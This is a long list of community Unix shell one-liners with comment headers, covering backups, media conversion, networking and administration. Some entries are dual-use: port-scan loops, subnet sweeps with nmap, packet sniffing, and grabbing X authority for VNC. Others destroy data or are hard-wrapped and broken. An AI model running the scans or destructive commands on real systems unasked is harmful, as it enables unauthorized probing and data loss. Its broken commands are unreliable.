echo -e "Terminal shortcut keys\n" && sed -e 's/\^/Ctrl+/g;s/M-/Shift+/g' <(stty -a 2>&1 | sed -e 's/;/\n/g' | grep "\^" | tr -d ' ')

# Backup entire system through SSH
ssh -C USER@HOST tar -c --exclude /proc --exclude /sys / | tar -x

# Mount and umount iso files
function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }

# View webcam output using mplayer
mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0:fps=30:outfmt=yuy2

# Insert a colon between every two digits
sed 's/\(..\)/\1:/g;s/:$//' mac_address_list

# Create date-based tgz of current dir, runs in the background, very very cool
alias tarred='( ( D=`builtin pwd`; F=$(date +%HOME/\`sed "s,[/ ],#,g" <<< ${D}/${HOME}}/\`#-%F.tgz); tar --ignore-failed-read --transform "s,^${D%/*},`date +%${D%/*}.%F`,S" -czPf "$F "$D" &>/dev/null ) & )'

# Simplification of "sed 'your sed stuff here' file > file2 && mv file2 file"
sed -i 'your sed stuff here' file

# Purge configuration files of removed packages on debian based systems
aptitude purge '~c'

# New command with the last argument of the previous command.
command !$

# need ascii art pictures for you readme text ?
boxes -d dog or cowsay -f tux $M

```

```

# Update your OpenDNS network ip
wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic
/update?hostname=your_opendns_hostname&myip=your_ip' -O -

# Remove all files except list
rm -rf !(@(file1|file2|...))

# To play a file at 1.5 times normal speed without increasing the pitch
mplayer -af scaletempo=scale=1.5 foo.mp3

# convert all flac files in a folder to mp3 files with a bitrate of 192 kbps
for f in *;do flac -cd $f |lame -b 192 - $f.mp3;done

# Migrate existing Ext3 filesystems to Ext4
tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition

# most used commands in history (comprehensive)
history | perl -F"\\|<(|;|\\`|\\$\\(\" -alne 'foreach (@F) { print $1 if /\b((?!do
)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head

# DVD ripping with ffmpeg
cat VIDEO_TS/VTS_01_[1234].VOB | nice ffmpeg -i - -s 512x384 -vcodec libtheora -
acodec libvorbis ~/Videos/dvd_rip.ogg

# eth-tool summary of eth# devices
for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; d
one

# Take a screenshot of the focused window with a 4 second countdown
scrot -ucd4 -e 'eog $f'

# Update dyndns.org with your external IP.
curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=<you
r_domain_name_here>&myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/
:]/g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"

# Merge tarballs
cat 1.tar.gz 2.tar.gz > 3.tar.gz; tar zxvfi 3.tar.gz

# Create a file of a given size in linux
dd if=/dev/zero of=foo.txt bs=1M count=1

# Trick find -exec option to execute alias
find . -exec `alias foo | cut -d'"' -f2` {} \;

# Checks throughput between two nodes
cat /dev/zero | pv | ssh 192.168.1.2 "cat > /dev/null"

# Find the package a command belongs to on debian-based distros
apt-file search iostat

# Show sorted list of files with sizes more than 1MB in the current dir
du -hs * | grep '^[0-9,]*[MG]' | sort -rn

# Report all quota usage
quota -q $(cat /etc/passwd|cut -d ':' -f 1)

# Merge several pdf files into a single file

```

```
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.
pdf b.pdf c.pdf

# Check a server is up. If it isn't mail me.
ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed |
mail -ne -s'Server unavailable' joker@jp.co.uk

# Find all active ip's in a subnet
nmap -v -sP 192.168.0.0/16 10.0.0.0/8

# Check the status of a network interface
mii-tool [if]

# Skip over .svn directories when using the "find" command.
find . -not \( -name .svn -prune \)

# Virtual Console lock program
vlock

# Convert all .flac from a folder subtree in 192Kb mp3
find . -type f -iname '*.flac' | while read FILE; do FILENAME="${FILE%.*}"; flac
-cd "$FILE" | lame -b 192 - "${FILENAME}.mp3"; done

# 'hpc' in the shell - starts a maximum of n compute commands modulo n controlle
d in parallel, using make
echo -n 'targets = $(subst .png,.jpg,$(wildcard *.png))\n$(targets):\n      conve
rt $(subst .jpg,.png,$@) $@ \nall : $(targets)' | make -j 4 -f - all

# Monitor a file with tail with timestamps added
tail -f file | while read line; do echo -n $(date -u -Ins); echo -e "\t$line"; d
one

# list all file extensions in a directory
find . -type f | awk -F'.' '{print $NF}' | sort| uniq -c | sort -g

# return external ip
wget -O - -q icanhazip.com

# shutdown pc in a 4 hours
shutdown -h +240

# Remove a file whose name begins with a dash ( - ) character
rm ./-filename

# Recursively search for large files. Show size and location.
find . -size +100000k -exec du -h {} \;

# Create a tar of directory structure only
tar -cf ~/out.tar --no-recursion --files-from <(find . -type d)

# Want to know what time is it in another part of the world ?
TZ=Indian/Maldives date

# Change the case of a single word in vim
g~w

# Clean up display when the bash prompt is displayed
export PS1="\[\017\033[m\033[?91\033[?10001\]$PS1"
```

```

# Get International Space Station sighting information for your city
links -dump "http://spaceflight.nasa.gov/realdata/sightings/cities/view.cgi?country=United_States&region=Wisconsin&city=Portage" | sed -n '/--/,/--/p'

# Find and list users who talk like "lolcats"
cd ~/.purple/logs/; egrep -ri "i can haz|pwn|l33t|w00|z0mg" * | cut -d'/' -f 3 |
sort | uniq | xargs -I {} echo "Note to self: ban user '{}'"

# Get MX records for a domain
dig foo.org mx +short

# See a full last history by expanding logrotated wtmp files
( last ; ls -t /var/log/wtmp-2* | while read line ; do ( rm /tmp/wtmp-junk ; zcat $line 2>/dev/null || bzcat $line ) > /tmp/junk-wtmp ; last -f /tmp/junk-wtmp ; done ) | less

# Get size of terminal
resize

# Mount proc
mount -t proc{,,}

# Display calendar with specific national holidays and week numbers
gcal -K -q GB_EN 2009 # display holidays in UK/England for 2009 (with week numbers)

# Group OR'd commands where you expect only one to work
( zcat $FILE || gzcat $FILE || bzcat2 $FILE ) | less

# Display text as though it is being typed out in real time
echo "text to be displayed" | pv -qL 10

# Install a basic FreeBSD system
dd if=mfsbsd.iso | ssh distant.server dd of=/dev/sda

# bash script to zip a folder while ignoring git files and copying it to dropbox
git archive HEAD --format=zip > archive.zip

# Trigger a command each time a file is created in a directory (inotify)
inotifywait -mrq -e CREATE --format %w%f /path/to/dir | while read FILE; do chmod g=u "$FILE"; done

# convert filenames in current directory to lowercase
for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done

# Watch the disk fill up
watch -n 1 df

# Function to output an ASCII character given its decimal equivalent
chr () { printf \\$((($1/64*100+$1%64/8*10+$1%8)); }

# for loop with leading zero in bash 3
seq -s " " -w 3 20

# Convert text to uppercase
upper() { echo ${@^}; }

# do a full file listing of every file found with locate
locate searchstring | xargs ls -l

```



```
# function to edit your history file
eh () { history -a ; vi ~/.bash_history ; history -r ; }

# Enter your ssh password one last time
cat .ssh/id_dsa.pub | ssh elsewhere "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys"

# Email yourself after a job is done
<command>; echo "job done"|mail email@email.com -s'job done'

# Date shows dates at other times/dates
date -d '2 weeks ago'

# Finding all files on local file system with SUID and SGID set
find / \( -local -o -prune \) \( -perm -4000 -o -perm -2000 \) -type f -exec ls -l {} \;

# Multi-line grep
perl -ne 'BEGIN{undef $/}; print "$ARGV\t$.\t$1\n" if m/(first line.*\n.*second line)/mg'

# Create a large test file (taking no space).
dd bs=1 seek=2TB if=/dev/null of=ext3.test

# Create a backup of file being edited while using vi
:!cp % %-

# Switch to a user with "nologin" shell
sudo -u username bash

# Repeatedly purge orphaned packages on Debian-like Linuxes
while [ $(deborphan | wc -l) -gt 0 ]; do dpkg --purge $(deborphan); done

# cleanup /tmp directory
find /tmp -type f -atime +1 -delete

# Use a Gmail virtual disk (GmailFS) on Ubuntu
mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]] [-p]

# Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux)
Type "c-a b" in gnu screen after updating your .screenrc (See Description below)
.

# tail, with specific pattern colored
tail -F file | egrep --color 'pattern|$\''

# dump a single table of a database to file
mysqldump -u UNAME -p DBNAME TABLENAME> FILENAME

# trace the system calls made by a process (and its children)
strace -f -s 512 -v ls -l

# Enable automatic typo correction for directory names
shopt -s cdspell

# Easily decode unix-time (funtion)
utime { date -d @$1; }
```

```

# FizzBuzz one-liner in Python
python -c'for i in range(1,101):print"FizzBuzz"[i*i%3*4:8--i**4%5]or i'

# Query Wikipedia via console over DNS
mwiki () { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }

# List programs with open ports and connections
netstat -ntuple

# Preserve colors when piping tree to less
tree -C | less -R

# duration of the DNS-query
server=8.8.8.8; host="apple.com"; queries=128; for i in `seq $queries`; do let x
+=`dig @$server $host | grep "Query time" | cut -f 4 -d " "; done && echo "sc
ale=3;($x/${queries})" | bc

# Short Information about loaded kernel modules
modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep
/!d'

# Upload a video to youtube
google youtube post --title "My\ Video" --category Education ~/myvideo.avi

# tee to a file descriptor
tee >(cat - >&2)

# Block the 6700 worst spamhosts
wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts

# Show numerical values for each of the 256 colors in bash
for i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 -s ' ';
echo -e "\e[m"

# Auto Get Missing Launchpad Keys
sudo apt-get update 2> /tmp/keymissing; for key in $(grep "NO_PUBKEY" /tmp/keymi
ssing |sed "s/.*NO_PUBKEY //"); do echo -e "\nProcessing key: $key"; gpg --keyse
rver pool.sks-keyservers.net --recv $key && gpg --export --armor $key |sudo apt-
key add -; done

# Find all files of a type and copy them elsewhere while keeping intact their fu
ll directory structure using find and cpio
find . -iname "*.flac" | cpio -pdm /Volumes/Music/FLAC

# print all except first collumn
awk '{$1=""; print}'

# Take screenshot through SSH
xwd -root -display :0.0| xwdtopnm | pnmtopng > Screenshot.png

# Get Futurama quotations from slashdot.org servers
curl -Is slashdot.org | sed -n '5p' | sed 's/^X-//'

# Apache memory usage
ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {
print sum/1024}'

# Sort IPV4 ip addresses
sort -t. -k1,1n -k2,2n -k3,3n -k4,4n

```

```

# fuman, an alternative to the 'man' command that shows commandlinefu.com examples
fuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/' |less -r; }

# Short Information about loaded kernel modules
awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/'

# List processes playing sound
lsdf | grep pcm

# Plot frequency distribution of words from files on a terminal.
cat *.c | { printf "se te du\nplot '-' t ' ' w dots\n"; tr '[[[:upper:]]' '[[[:lower:]]]' | tr -s '[[[:punct:]][:space:]]' '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot

# Avoiding history file to be overwritten
shopt -s histappend

# Fix "broken" ID3 tags in the current directory and subdirectories
find -iname '*.mp3' -exec mid3iconv {} \;

# Big Countdown Clock with hours, minutes and seconds
watch -tn1 'date +%r | figlet'

# renice by name
renice +5 -p $(pidof <process name>)

# When was your OS installed?
ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}'

# open a separate konsole tab and ssh to each of N servers (konsole 4.2+)
for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done

# Watch how fast the files in a drive are being deleted
watch "df | grep /path/to/drive"

# Gets the last string of previous command with !$
$mkdir mydir -> mv !$ yourdir -> $cd !$

# Restore mysql database uncompressing on the fly.
zcat database.sql.gz | mysql -uroot -p'passwd' database

# Runs a command without hangups.
screen -d -m command &

# Determine an image's dimensions
identify -format "%wx%h" /path/to/image.jpg

# Quicker move to parent directory
alias ..='cd ..'

# Disable the ping response
sudo -s "echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all"

# Filter IPs out of files
egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt

```

```
# print date 24 hours ago
date --date=yesterday

# How much RAM is Apache using?
ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+='/; echo x) | bc

# Quick command line math
expr 512 \* 7

# backup your entire hosted website using cPanel backup interface and wget
wget --http-user=YourUsername --http-password=YourPassword http://YourWebsiteUrl
:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"` .tar.gz

# Zip a directory on Mac OS X and ignore .DS_Store (metadata) directory
zip -vr example.zip example/ -x "*.DS_Store"

# Introduction to user commands
man intro

# List only executables installed by a debian package
dpkg -L iptables | perl -lne 'print if -f && -x'

# Connect via sftp to a specific port
sftp -oPort=3476 user@host

# Lock the hardware eject button of the cdrom
eject -i 1

# Capitalize first letter of each word in a string
echo 'fOo BaR' | tr '[A-Z]' '[a-z]' | sed 's/\(^| \)\([a-z]\)/\1\u2/g'

# count and number lines of output, useful for counting number of matches
ps aux | grep [a]pache2 | nl

# Sort files by size
ls -l | sort -nk5

# Randomize lines in a file
awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2-

# Restart command if it dies.
ps -C program_name || { program_name & }

# delete duplicate lines from a file and keep the order of the other lines
cat -n <file> | sort -k 2 | uniq -f 1 | sort -n | cut -f 2-

# Delete line number 10 from file
sed -i '10d' <somefile>

# Cap apt-get download speed
sudo apt-get -o Acquire::http::Dl-Limit=25 install <package>

# HTTP redirect
while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/in
dex.html" | nc -vvvv -l -p 80; done

# Sniffing network to generate a pcap file in CLI mode on a remote host and open
it via local Wireshark ( GUI ).
```

```
tcpdump -v -i <INTERFACE> -s 0 -w /tmp/sniff.pcap port <PORT> # On the remote side

# Find unused IPs on a given subnet
fping -r1 -g <subnet> 2> /dev/null | grep unreachable | cut -f1 -d' '

# Create a zip archive excluding all SVN folders
zip -r myfile.zip * -x \*.svn\*

# watch iptables counters
watch 'iptables -vL'

# Clone IDE Hard Disk
sudo dd if=/dev/hda1 of=/dev/hdb2

# scan folder to check syntax error in php files
find . -name "*.php" -exec php -l {} \;

# remove empty lines
sed '/^$/d'

# Show exit status of all portions of a piped command eg. ls |this_doesn't_exist
|wc
echo ${PIPESTATUS[@]}

# Play musical notes from octave of middle C
man beep | sed -e '1,/Note/d; /BUGS/, $d' | awk '{print $2}' | xargs -IX sudo beep -f X -l 500

# Locking and unlocking files and mailboxes
lockfile

# Rotate a single page PDF by 180 degrees
pdftk in.pdf cat 1S output out.pdf

# Undo several commits by committing an inverse patch.
git diff HEAD..rev | git apply --index; git commit

# Colorize matching string without skipping others
egrep --color=auto 'usb|' /var/log/messages

# Edit your command in vim ex mode by <ctrl-f>
<ctrl-f> in ex mode in vim

# Type a random string into a X11 window
sleep 3 && xdotool type --delay 0ms texthere

# Fast file backup
cp filename{,.`date +%Y%m%d`}

# connect to X login screen via vnc
x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg &

# convert ascii string to hex
echo $ascii | perl -ne 'printf "%x", ord for split //'

# PDF simplex to duplex merge
pdftk A=odd.pdf B=even.pdf shuffle A1-end Bend-1S output duplex.pdf
```

```

# cat large file to clipboard with speed-o-meter
pv large.xml | xclip

# Make a thumbnail image of first page of a PDF.
convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg

# Who invoked me? / Get parent command
ps -o comm= -p $(ps -o ppid= -p $$)

# Another Matrix Style Implementation
echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c
"[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done

# Numerically sorted human readable disk usage
du -x --max-depth=1 | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0

# monitor a tail -f command with multiple processes
tail -f somefile |tee >(grep --line-buffered '1' > one.txt) |tee >(grep --line-b
uffered '2' > two.txt)

# Add a GPL license file to your project
wget -O LICENSE.txt http://www.gnu.org/licenses/gpl-3.0.txt

# See your current RAM frequency
/usr/sbin/dmidecode | grep -i "current speed"

# Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM
) of the Unicode Standard.
find . -type f | grep -rl $'\xEF\xBB\xBF'

# A command to post a message to Twitter that includes your geo-location and a s
hort URL.
curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s tinyurl.c
om/api-create.php?url=URL_GOES_HERE) $(curl -s api.hostip.info/get_html.php?ip=$
(curl ip.appspot.com))" -d source="cURL" twitter.com/statuses/update.json -o /de
v/null

# Create a persistent remote Proxy server through an SSH channel
ssh -fND localhost:PORT USER@SERVER

# Extract all of the files on an RPM on a non-RPM *nix
rpm2cpio package.rpm |cpio -dimv

# get a desktop notification from the terminal
alias z='zenity --info --text="You will not believe it, but your command has fin
ished now! :-)" --display :0.0'

# Extract tarball from internet without local saving
wget -O - http://example.com/a.gz | tar xz

# Open up a man page as PDF (#OSX)
function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; }

# Retrieve top ip threats from http://isc.sans.org/sources.html and add them int
o iptables output chain.
curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip=" {'print
$2'}|awk -F"\"" {'print $1'}|xargs -n1 sudo iptables -A OUTPUT -j DROP -d > 2&>1

```

```

# count processes with status "D" uninterruptible sleep
top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } EN
D {print "Total status D: "count}'

# Create AUTH PLAIN string to test SMTP AUTH session
printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'

# for all who don't have the watch command
watch() { while test ;; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\
t $date"; $2; sleep $1; done }

# synchronizing datas beetween two folder (A and B) excluding some directories in
A (dir1 and dir2)
rsync -av --ignore-existing --exclude="dir1" --exclude="dir2" /pathA /pathB

# Set laptop display brightness
echo <percentage> > /proc/acpi/video/VGA/LCD/brightness

# Monitor logs in Linux using Tail
find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/
:$/g' | grep -v '[0-9]$\$' | xargs tail -f

# convert (almost) any image into a video
ffmpeg -loop_input -f image2 -r 30000/1001 -t $seconds -i frame/$num.ppm -y fram
e/%02d.mpeg 2>/dev/null

# whowatch: Linux and UNIX interactive, process and users monitoring tool
whowatch

# Simultaneously running different Firefox profiles
firefox -P <profile_name> -no-remote

# a fast way to repeat output a byte
tr '\0' '\377' < /dev/zero|dd count=$(((<bytes>/512))

# Display all readline binding that use CTRL
bind -p | grep -F "\C"

# Display a block of text with AWK
sed -n /start_pattern/,/stop_pattern/p file.txt

# automount samba shares as devices in /mnt/
sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,p
assword=pass 0 0<esc>:wq; mount //smb-share/gino

# SH
shmore(){ local l L M=""echo;tput setab 4&&tput setaf 7` --- SHMore --- `tput sg
r0`;L=2;while read l;do echo "${l}";((L++));[[ "$L" == "${LINES:-80}" ]]&&{ L=2
;read -p"$M" -u1;echo;};done;}

# ps a process keeping the header info so you know what the columns of numbers m
ean!
ps auxw |egrep "PID|process_to_look_at"

# Get line number of all matches in a file
awk '/match/{print NR}' file

# get xclip to own the clipboard contents
xclip -o -selection clipboard | xclip -selection clipboard

```

```

# Get the full path to a file
realpath examplefile.txt

# ignore hidden directory in bash completion (e.g. .svn)
bind 'set match-hidden-files off'

# Binary clock
read -a A<<<"*.**.*...*** 8 9 5 10 6 0 2 11 7 4";for C in `date +%H%M"|fold
-w1`;do echo "${A:${A[C+1]}:4}";done

# Upload folder to imageshack.us (forum)
imageshack() { for files in *; do curl -H Expect: -F fileupload=@"$files" -F xml
=yes -# "http://www.imageshack.us/index.php" | grep image_link | sed -e 's/<imag
e_link>/[IMG]/g' -e 's/<\/image_link>/[\/IMG]/g'; done; }

# Show the date of easter
ncal -e

# Streaming HTML5 video to icecast server using dvgrab, ffmpeg2theora and oggfwf
dvgrab --format raw - | tee dvstream.dv | ffmpeg2theora -A 45 -V 400 -c 1 -f dv
-x 360 -y 288 -o /dev/stdout - | tee savelivestream.ogv | oggfwf -p -d "Stream d
escription" -n "Streamname" my.icecastserver.com 80 icecastpassword /stream.ogv

# tar and remove files which are older that 100 days
find . -type f -mtime +100 -exec tar rvf my.tar --remove-files {} \;

# Place the NUM-th argument of the most recent command on the shell
<ALT>+<. > or <ALT>+<NUM>+<. > or <ALT>+<NUM>,<ALT>+<. >

# gpg encrypt a file
gpg --encrypt --recipient 'Foo Bar' foo.txt

# Convert the output of one or more (log, source code ...) files into html,
enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*l
og

# Stop or Start (Restart) a Windows service from a Linux machine
net rpc -I ADDRESS -U USERNAME%PASSWORD service {stop|start} SVCNAME

# Scale, Rotate, brightness, contrast, ... with Image Magick
convert -rotate $rotate -scale $Widthx$Height -modulate $brightness -contrast $c
ontrast -colorize $red%,$green%,$blue% $filter file_in.png file_out.png

# Rip DVD to YouTube ready MPEG-4 AVI file using mencoder
mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourc
c xvid -vf scale=320:-2,expand=:240:::1 -o output.avi dvd://0

# Google URL shortener
googl () { curl -s -d "url=${1}" http://goo.gl/api/url | sed -n "s/.*:\\"([^\"]*
\).*/\1\n/p" ;}

# Extract extension of a file
filext () { echo ${1##*.}; }

# Start another X session in a window
startx -- /usr/bin/Xephyr :2

# Quick key/value display within /proc or /sys
grep -r . /sys/class/net/eth0/statistics

```



```

# Watch active calls on an Asterisk PBX
watch -n 1 "sudo asterisk -vvvvvrx 'core show channels' | grep call"

# show framebuffer console modes to use in grub vga option
sudo hwinfo --framebuffer

# remote diff with side-by-side ordering.
ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE -

# Indent a one-liner.
declare -f <function name>

# Convert Unix newlines to DOS newlines
sed 's/$/<ctrl+v><ctrl+m>/'

# Show established network connections
lsof -i | grep -i estab

# Install your ssh key file on a remote system
ssh user@remote 'cat >> ~/.ssh/authorized_keys2' < ~/.ssh/id_rsa.pub

# Convert video files to XviD
mencoder "$1" -ofps 23.976 -ovc lavc -oac copy -o "$1".avi

# Sort your music
for file in *.mp3;do mkdir -p "$(mp3info -p "%a/%l" "$file")" && ln -s "$file" "$file"
$(mp3info -p "%a/%l/%t.mp3" "$file");done

# Disable beep sound from your computer
echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf

# Create an easy to pronounce shortened URL from CLI
shout () { curl -s "http://shoutkey.com/new?url=$1" | sed -n 's/<h1>/\&/p' | sed 's/<[^>]*>/g;/</N;/b' ;}

# Sort on multiple dis-contiguous keys/fields (can even specify key number/field from the end)
file /bin/* | msort -j -l -n-1 -n2 2> /dev/null

# Remove today's installed packages
grep "install " /var/log/dpkg.log | awk '{print $4}' | xargs apt-get -y remove -purge

# Which fonts are installed?
fc-list | cut -d ':' -f 1 | sort -u

# Print number of mb of free ram
grep '^MemFree:' /proc/meminfo | awk '{ mem=($2)/(1024) ; printf "%0.0f MB\n", mem }'

# Random line from bash.org (funny IRC quotes)
curl -s http://bash.org/?random1|grep -oE "<p class=\"quote\">.*</p>.*</p>"|grep -oE "<p class=\"qt.*?</p>"|sed -e 's/</p>/\n/g' -e 's/<p class=\"qt\">/g' -e 's/<p class=\"qt\">/g'|perl -ne 'use HTML::Entities;print decode_entities($_), "\n"'|head -1

# Enable cd by variable names
shopt -s cdable_vars

```

```
# copy/mkdir and automatically create parent directories
cp --parents /source/file /target-dir

# Find the processes that are on the runqueue. Processes with a status of
ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"

# Edit file(s) that has been just listed
vi `!!`

# Using the urxvt terminal daemon
urxvtd -q -o -f

# fix broken permissions
find /path -type d -perm 777 -exec chmod 755 {} \;

# Detach a process from the current shell
ping -i1 www.google.com &> /dev/null & disown

# Show all machines on the network
nmap 192.168.0-1.0-255 -sP

# pretend to be busy in office to enjoy a cup of coffee
while [ true ]; do head -n 100 /dev/urandom; sleep .1; done | hexdump -C | grep
"ca fe"

# bulk dl files based on a pattern
curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha/
met-art-free-sample-00[00-19].jpg

# Remove EXIF data from images with progress
i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for
x in $f;do i=$((i + 1));echo "$x $i of $c"; mogrify -strip $x;done

# Batch resize all images in the current directory that are bigger than 800px, h
eight or weight.
mogrify -resize 800\> *

# Print a random 8 digit number
jot -r -n 8 0 9 | rs -g 0

# YES = NO
yes n

# Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\/\:\:\:g' )> "

# Recursively remove all subversion folders
find . -name .svn -exec rm -rf {} \;

# Record your desktop
xvidcap --file filename.mpeg --fps 15 --cap_geometry 1680x1050+0+0 --rescale 25
--time 200.0 --start_no 0 --continue yes --gui no --auto

# list your device drivers
lspci -vv

# en/decrypts files in a specific directory
for a in path/* ; do cenenrypt -K <password> $a; done
```

```
# Get Lorem Ipsum random text from loremipsum.com
lynx -source http://www.lipsum.com/feed/xml?amount=3|perl -p -i -e 's/\n/\n\n/g'
|sed -n '/<lipsum>/,/<\n\/lipsum>/p'|sed -e 's/<[^>]*>/g'

# lsof equivalent on solaris
/usr/proc/bin/pfiles $PID

# Simplest port scanner
for p in {1..1023}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p
open"; done

# Generate diff of first 500 lines of two files
diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)

# Create md5sum of files under the current dir excluding some directories
find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs
-r0 md5sum

# Postpone a command [zsh]
<alt+q>

# find all non-html files
find . -type f ! -name "*.html"

# Print a date from 3 days ago
TZ=PST8PDT+72 date '+%Y_%m_%d'

# git remove files which have been deleted
git ls-files -z --deleted | xargs -0 git rm

# Boot another OS at next startup
echo "savedefault --default=2 --once" | grub --batch; sudo reboot

# Blank/erase a DVD-RW
dvd+rw-format -force /dev/dvd1

# Change display resolution
xrandr -s 1280x1024

# Batch rename extension of all files in a folder, in the example from .txt to .
md
rename 's/.txt/.md/i' *

# For a $FILE, extracts the path, filename, filename without extension and exten
sion.
FILENAME=${FILE##*/};FILEPATH=${FILE%/*};NOEXT=${FILENAME%.*};EXT=${FILE##*.}

# Extract audio from start to end position from a video
mplayer -vc null -vo null -ao pcm <input video file> -ss <start> -endpos <end>

# Find a CommandLineFu users average command rating
wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-vot
es/{S+=$2; I++}END{print S/I}'

# Compress files found with find
find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz

# Identify name and resolution of all jpgs in current directory
identify -verbose *.jpg|grep "\(Image:\<|Resolution\)\""
```

```
# Format ps command output
ps ax -o "%p %U %u %x %c %n"

# Start another instance of X via SSH
startx -- /usr/X11R6/bin/Xnest :5 -geometry 800x600

# Monitor cpu freq and temperature
watch --interval 1 "cat /proc/acpi/thermal_zone/THRM/*; cat /proc/cpuinfo | grep
  MHz; cat /proc/acpi/processor/*/throttling"

# Empty a file
> foobar.txt

# Show latest changed files
ls -ltcrh

# Search for a word in less
\bTERM\b

# Print out a man page
man -t man | lp

# Skip filenames with control characters, a.k.a tab,newline etc
find . ! -name "$(printf '*[\001-\037\177]*')"

# View non-printing characters with cat
cat -v -t -e

# get the latest version
mirror=ftp://somemirror.com/with/alot/versions/but/no/latest/link; latest=$(curl
  -l $mirror/ 2>/dev/null | grep util | tail -1); wget $mirror/$latest

# Go to parent directory of filename edited in last command
cd `dirname $_`

# Convert encoding of given files from one encoding to another
iconv -f utf8 -t utf16 /path/to/file

# show all established tcp connections on os x
lsof -iTCP -sTCP:ESTABLISHED | awk '{print $1}' | sort -u

# for newbies, how to get one line info about all /bin programs
ls -l /bin | xargs -l1 whatis 2>/dev/null | grep -v "nothing appropriate"

# Realtime apache hits per second
tail -f access_log | cut -c2-21 | uniq -c

# Setup a persistant SSH tunnel w/ pre-shared key authentication
autossh -f -i /path/to/key -ND local-IP:PORT User@Server

# restore the contents of a deleted file for which a descriptor is still availab
le
N="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P
| sed -rn "/$N/s/.*([0-9]+) ->.*\/1/p" | xargs -I_ cat $_ > "$N"

# Sum columns from CSV column $COL
perl -ne 'split /,/ ; $a+= $_[3]; END {print $a."\\n";}' -f ./file.csv
```

```

# A bit of privacy in .bash_history
export HISTCONTROL=ignoreboth

# scp a good script from host A which has no public access to host C, but with a
  hop by host B
cat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"

# Compute running average for a column of numbers
awk '{avg += ($1 - avg) / NR;} END { print avg; }'

# Change default shell for all users [FreeBSD]
cd /usr/home && for i in *;do chsh -s bash $i;done

# Avoids ssh timeouts by sending a keep alive message to the server every 60 seconds
echo 'ServerAliveInterval 60' >> /etc/ssh/ssh_config

# Auto download Ubuntu 10.04 LTS with super fast zsync
